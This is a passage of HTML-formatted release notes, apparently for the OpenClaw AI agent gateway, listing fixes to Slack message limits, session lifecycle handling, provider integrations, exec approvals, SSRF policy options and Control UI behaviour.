<li>SDK/events: keep per-run SDK event streams from surfacing duplicate raw chat projection frames, while normalizing chat-only projection frames and preserving raw access through <code>rawEvents</code>. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4354625879" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74704" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74704/hovercard" href="https://github.com/openclaw/openclaw/issues/74704">#74704</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/BunsDev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/BunsDev">@BunsDev</a>.</li>
<li>SDK: report Gateway terminal <code>agent.wait</code> timeout snapshots with lifecycle metadata as <code>timed_out</code> while keeping bare wait deadlines non-terminal. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/clawsweeper/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/clawsweeper">@clawsweeper</a>.</li>
<li>Google Meet: block managed Chrome intro/test speech until browser health proves the participant is in-call, and expose <code>speechReady</code> diagnostics so login, admission, permission, and audio-bridge blockers no longer look like successful speech. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4332551182" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72478" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72478/hovercard" href="https://github.com/openclaw/openclaw/issues/72478">#72478</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/DougButdorf/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/DougButdorf">@DougButdorf</a>.</li>
<li>Slack/commands: keep native command argument menus on select controls for encoded choice values up to Slack's option limit and truncate fallback button labels to Slack's button-text limit, so long valid choices no longer render invalid Slack blocks. Thanks <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/slackapi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/slackapi">@slackapi</a>.</li>
<li>Agents/Codex: flush accepted debounced steering messages before normal app-server turn cleanup, so inbound follow-ups acknowledged as queued are not dropped when the turn completes before the debounce fires. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Slack/interactive replies: keep rendered buttons and selects within Slack Block Kit value and count limits, and align command argument select values with Slack's option limit, so overlong agent-authored choices no longer make Slack reject the whole block payload. Thanks <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/slackapi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/slackapi">@slackapi</a>.</li>
<li>Slack/interactive replies: drop overlong Block Kit button URLs while preserving valid callback values, so malformed link buttons no longer make Slack reject the whole interactive reply. Thanks <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/slackapi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/slackapi">@slackapi</a>.</li>
<li>Slack/commands: truncate native command argument-menu confirmation text to Slack's dialog limit, so long plugin arg names no longer make fallback buttons render invalid Block Kit payloads. Thanks <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/slackapi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/slackapi">@slackapi</a>.</li>
<li>Slack/exec approvals: cap native approval metadata context to Slack's element and text limits, so large approval details no longer make Slack reject the approval card. Thanks <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/slackapi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/slackapi">@slackapi</a>.</li>
<li>Slack/exec approvals: cap native approval update fallback text to Slack's message limit while preserving the rendered approval blocks, so long commands no longer make resolved or expired approval cards stay stale after <code>chat.update</code> rejects <code>msg_too_long</code>. Thanks <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/slackapi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/slackapi">@slackapi</a>.</li>
<li>Slack/commands: cap native command argument-menu fallback rows to Slack's message block limit, so large plugin choice lists no longer make Slack reject the generated menu. Thanks <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/slackapi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/slackapi">@slackapi</a>.</li>
<li>Slack/commands: drop fallback command argument buttons whose encoded values exceed Slack's button-value limit, so one oversized plugin choice no longer makes Slack reject the whole menu. Thanks <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/slackapi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/slackapi">@slackapi</a>.</li>
<li>Slack/messages: merge message-tool presentation and interactive blocks on Slack sends, so buttons and selects are no longer dropped when a structured message body is also present. Thanks <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/slackapi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/slackapi">@slackapi</a>.</li>
<li>Slack/messages: cap Block Kit fallback text to Slack's send limit while preserving the rendered blocks, so long context fallbacks no longer make rich Slack messages fail with <code>msg_too_long</code>. Thanks <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/slackapi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/slackapi">@slackapi</a>.</li>
<li>Slack/messages: cap Block Kit fallback text on message edits while preserving the rendered blocks, so long context fallbacks no longer make Slack reject <code>chat.update</code> calls with <code>msg_too_long</code>. Thanks <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/slackapi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/slackapi">@slackapi</a>.</li>
<li>Channels/WhatsApp: require Baileys outbound message ids before marking auto-replies delivered, so transcript text and ack reactions no longer make failed group replies look sent. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4090958823" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/49225" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/49225/hovercard" href="https://github.com/openclaw/openclaw/issues/49225">#49225</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TinyTb/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TinyTb">@TinyTb</a>.</li>
<li>CLI/update: scope packaged Node compile caches by OpenClaw version and install metadata, so global installs no longer reuse stale compiled chunks after package updates. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pashpashpash/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pashpashpash">@pashpashpash</a>.</li>
<li>Channels/Voice call: keep pre-auth webhook in-flight limiting active when socket remote address metadata is missing, so slow-body requests from stripped-IP proxy paths still share the fallback bucket. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4351826007" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74453" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/74453/hovercard" href="https://github.com/openclaw/openclaw/pull/74453">#74453</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/davidangularme/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/davidangularme">@davidangularme</a>.</li>
<li>Plugin SDK/testing: lazy-load TypeScript from the plugin test-contract runtime and add release checks for critical SDK contract entrypoint imports and bundle size, so published packages fail preflight before shipping ESM-incompatible or oversized contract helpers. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Channels/Microsoft Teams: treat configured <code>19:...@thread.tacv2</code> and legacy <code>19:...@thread.skype</code> team/channel IDs as already resolved during startup, avoiding false <code>channels unresolved</code> warnings while preserving Graph name lookup for display-name entries. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4354343671" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74683" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74683/hovercard" href="https://github.com/openclaw/openclaw/issues/74683">#74683</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dseravalli/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dseravalli">@dseravalli</a>.</li>
<li>CLI/browser: preserve parent flags while lazy-loading browser subcommands, so <code>openclaw browser --json open</code> and <code>openclaw browser --json tabs</code> keep machine-readable output after reparsing. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4353127836" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74574" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74574/hovercard" href="https://github.com/openclaw/openclaw/issues/74574">#74574</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/devintegeritsm/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/devintegeritsm">@devintegeritsm</a>.</li>
<li>Exec/elevated: preserve <code>turnSourceChannel</code> as <code>messageProvider</code> on approval-followup runs so <code>tools.elevated.allowFrom.&lt;provider&gt;</code> checks no longer fail with <code>provider=null</code> after the user approves an async elevated command. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4354035233" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74646" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74646/hovercard" href="https://github.com/openclaw/openclaw/issues/74646">#74646</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/xhd2015/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/xhd2015">@xhd2015</a>.</li>
<li>Plugins/runtime-deps: add <code>openclaw plugins deps</code> inspection and repair with script-free package-manager defaults shared across plugin installers, so operators can repair missing bundled runtime deps without corrupting JSON output or blocking unrelated conflict-free deps. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Agents/output: strip internal <code>[tool calls omitted]</code> replay placeholders from user-facing replies while preserving visible reply whitespace. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4353111354" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74573" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74573/hovercard" href="https://github.com/openclaw/openclaw/issues/74573">#74573</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/blaspat/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/blaspat">@blaspat</a>.</li>
<li>Providers/Google Vertex: route authorized_user ADC credentials through OpenClaw's REST transport so Docker installs using gcloud application-default credentials no longer crash in the Google SDK before requests are sent. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4353780535" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74628" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74628/hovercard" href="https://github.com/openclaw/openclaw/issues/74628">#74628</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/frankhal2001-design/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/frankhal2001-design">@frankhal2001-design</a>.</li>
<li>ACP/resolver: fall through to thread-bound session resolution when an explicit <code>--session</code> token cannot be resolved while preserving the bad-token diagnostic when no thread binding exists, so Discord slash commands that auto-fill the current thread ID as the positional ACP target no longer return "Unable to resolve session target" errors. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4259261328" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/66299" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/66299/hovercard" href="https://github.com/openclaw/openclaw/issues/66299">#66299</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hclsys/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hclsys">@hclsys</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kindomLee/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kindomLee">@kindomLee</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/martingarramon/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/martingarramon">@martingarramon</a>.</li>
<li>Agents/sessions: emit a terminal lifecycle backstop when embedded timeout/error turns return without <code>agent_end</code>, so Gateway sessions no longer stay stuck in <code>running</code> after failover surfaces a timeout. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4353527154" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74607" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74607/hovercard" href="https://github.com/openclaw/openclaw/issues/74607">#74607</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/millerc79/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/millerc79">@millerc79</a>.</li>
<li>Gateway/diagnostics: include stuck-session reason hints and recovery skip causes in warnings, so operators can tell whether a lane is waiting on active work, queued work, or stale bookkeeping. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Providers/DeepSeek: expose native DeepSeek V4 <code>xhigh</code> and <code>max</code> thinking levels through the provider <code>resolveThinkingProfile</code> hook so <code>/think xhigh|max</code> applies the intended effort instead of falling back to base levels. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4338479166" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73008" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/73008/hovercard" href="https://github.com/openclaw/openclaw/pull/73008">#73008</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ai-hpc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ai-hpc">@ai-hpc</a>.</li>
<li>Agents/Codex: bound embedded-run cleanup, trajectory flushing, and command-lane task timeouts after runtime failures, so Discord and other chat sessions return to idle instead of staying stuck in processing. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Heartbeat/exec: consume successful metadata-only async exec completions silently so Telegram and other chat surfaces no longer ask users for missing command logs after <code>No session found</code>. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4353366864" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74595" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74595/hovercard" href="https://github.com/openclaw/openclaw/issues/74595">#74595</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gkoch02/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gkoch02">@gkoch02</a>.</li>
<li>Web fetch: add a documented <code>tools.web.fetch.ssrfPolicy.allowIpv6UniqueLocalRange</code> opt-in and thread it through cache keys and DNS/IP checks so trusted fake-IP proxy stacks using <code>fc00::/7</code> can work without broad private-network access. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4350890451" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74351" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74351/hovercard" href="https://github.com/openclaw/openclaw/issues/74351">#74351</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jeffrey701/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jeffrey701">@jeffrey701</a>.</li>
<li>OpenAI Codex: restore <code>/verbose full</code> persistence and app-server tool-output forwarding, and retry Gateway E2E temp-home cleanup so debug runs do not regress on stale validation or cleanup flakes. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Anthropic/Meridian: preserve text and thinking content seeded on <code>content_block_start</code> in anthropic-messages streams, so <code>[thinking, text]</code> replies no longer persist as empty turns or trigger empty-response fallbacks. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4351435288" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74410" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74410/hovercard" href="https://github.com/openclaw/openclaw/issues/74410">#74410</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vyctorbrzezowski/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vyctorbrzezowski">@vyctorbrzezowski</a>.</li>
<li>Channels/Matrix: complete the cross-signing handshake on <code>openclaw matrix verify confirm-sas</code> so the operator's other Matrix device clears its <code>Verifying…</code> loop instead of staying stuck after the agent confirms. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4352761902" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74542" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/74542/hovercard" href="https://github.com/openclaw/openclaw/pull/74542">#74542</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/nklock/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/nklock">@nklock</a>.</li>
<li>CLI/status: honor channel-specific model context-window overrides when reporting effective context, so channel-scoped sessions reflect the active window in <code>openclaw status</code>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/HemantSudarshan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/HemantSudarshan">@HemantSudarshan</a>.</li>
<li>Sandbox/Docker: tolerate Docker daemon unavailability when sandbox mode is off, so doctor and preflight checks no longer fail on installs that do not run the Docker daemon. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4344707479" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73671" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/73671/hovercard" href="https://github.com/openclaw/openclaw/pull/73671">#73671</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kaseonedge/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kaseonedge">@kaseonedge</a>.</li>
<li>Control UI/mobile: persist mobile chat settings through Lit-managed state and route mobile navigation through the same view-state path so chat panel toggles survive transitions on small viewports. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/BunsDev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/BunsDev">@BunsDev</a>.</li>
<li>Control UI/exports: align sidebar trigger affordances across the resizable divider, mobile layout, and exported-HTML transcript template so the sidebar toggle and exported transcript sidebar render with consistent hit areas and styling. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/BunsDev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/BunsDev">@BunsDev</a>.</li>
<li>Control UI/chat: disable the page refresh affordance while a chat run is active so accidental refreshes do not abort an in-flight reply. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Angfr95/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Angfr95">@Angfr95</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/BunsDev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/BunsDev">@BunsDev</a>.</li>
<li>Memory/LanceDB: return real memory records from <code>openclaw ltm list</code> (with optional <code>--limit</code> and createdAt ordering) instead of an empty placeholder, so the CLI surface matches the documented LTM listing contract. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4279969994" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/67952" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/67952/hovercard" href="https://github.com/openclaw/openclaw/pull/67952">#67952</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/zhangyue19921010/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/zhangyue19921010">@zhangyue19921010</a>.</li>
<li>Media: include redacted per-attempt resize failures and resolved model input capabilities in vision-pipeline errors so ARM64 image failures are diagnosable without closing the remaining routing investigation. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4352922423" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74552" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74552/hovercard" href="https://github.com/openclaw/openclaw/issues/74552">#74552</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/1yihui/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/1yihui">@1yihui</a>.</li>
<li>Control UI/i18n: route zh-CN agent, debug, channel-refresh, and exec-approval copy through the locale source while preserving the English <code>Cron Jobs</code> agent tab label and the security-audit command styling. Carries forward <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4040969776" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/39692" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/39692/hovercard" href="https://github.com/openclaw/openclaw/pull/39692">#39692</a> repair context. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hepeng154833488/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hepeng154833488">@hepeng154833488</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Auto-reply: honor explicit <code>silentReply.direct: "allow"</code> for clean empty or reasoning-only direct chat turns while keeping the default direct-chat empty-response guard conservative. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4351432589" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74409" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74409/hovercard" href="https://github.com/openclaw/openclaw/issues/74409">#74409</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jesuskannolis/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jesuskannolis">@jesuskannolis</a>.</li>
<li>OpenAI Codex: send a non-empty Responses input item when a Codex turn only has systemPrompt-backed instructions, avoiding ChatGPT backend 400s from <code>input: []</code>. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4346425036" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73820" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73820/hovercard" href="https://github.com/openclaw/openclaw/issues/73820">#73820</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/woodhouse-bot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/woodhouse-bot">@woodhouse-bot</a>.</li>
<li>Ollama: normalize provider-prefixed tool-call names at the native stream boundary so Kimi/Ollama calls such as <code>functions.exec</code> dispatch as <code>exec</code> instead of missing configured tools. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4352343792" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74487" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74487/hovercard" href="https://github.com/openclaw/openclaw/issues/74487">#74487</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/afurm/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/afurm">@afurm</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/carreipeia/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/carreipeia">@carreipeia</a>.</li>
<li>Security/audit: resolve configured model aliases before model-tier and small-parameter checks, so alias-based GPT-5/Codex configs no longer report false weak-model warnings. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4351877071" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74455" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74455/hovercard" href="https://github.com/openclaw/openclaw/issues/74455">#74455</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/blaspat/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/blaspat">@blaspat</a>.</li>
<li>CLI/agent: isolate Gateway-timeout embedded fallback runs under explicit <code>gateway-fallback-*</code> sessions so accepted Gateway runs cannot race transcript locks or replace the routed conversation session. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4222569416" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/62981" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/62981/hovercard" href="https://github.com/openclaw/openclaw/issues/62981">#62981</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/HemantSudarshan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/HemantSudarshan">@HemantSudarshan</a>.</li>
<li>CLI/QR/device-pair: reject malformed public setup URLs before issuing mobile pairing bootstrap tokens, while keeping valid bare host:port setup URLs supported. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Lucenx9/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Lucenx9">@Lucenx9</a>.</li>
<li>Models/UI: hide unauthenticated providers from the default Web chat, <code>/models</code>, and model setup pickers while keeping explicit full-catalog browse paths through <code>view: "all"</code>, <code>/models &lt;provider&gt; all</code>, and <code>models list --all</code>. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4351540119" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74423" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74423/hovercard" href="https://github.com/openclaw/openclaw/issues/74423">#74423</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/guarismo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/guarismo">@guarismo</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SymbolStar/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SymbolStar">@SymbolStar</a>.</li>
<li>Ollama: keep explicit local model runs on target-provider runtime hooks when PI discovery is skipped, so one-shot Ollama calls no longer cold-load unrelated provider runtimes before streaming. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4347954374" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74078" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74078/hovercard" href="https://github.com/openclaw/openclaw/issues/74078">#74078</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sakalaboator/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sakalaboator">@sakalaboator</a>.</li>
<li>Slack/prompts: rely on Slack <code>interactiveReplies</code> guidance instead of generic <code>inlineButtons</code> config hints so enabled Slack button directives are not contradicted. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4077041050" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/46647" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/46647/hovercard" href="https://github.com/openclaw/openclaw/issues/46647">#46647</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jeremykoerber/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jeremykoerber">@jeremykoerber</a>.</li>
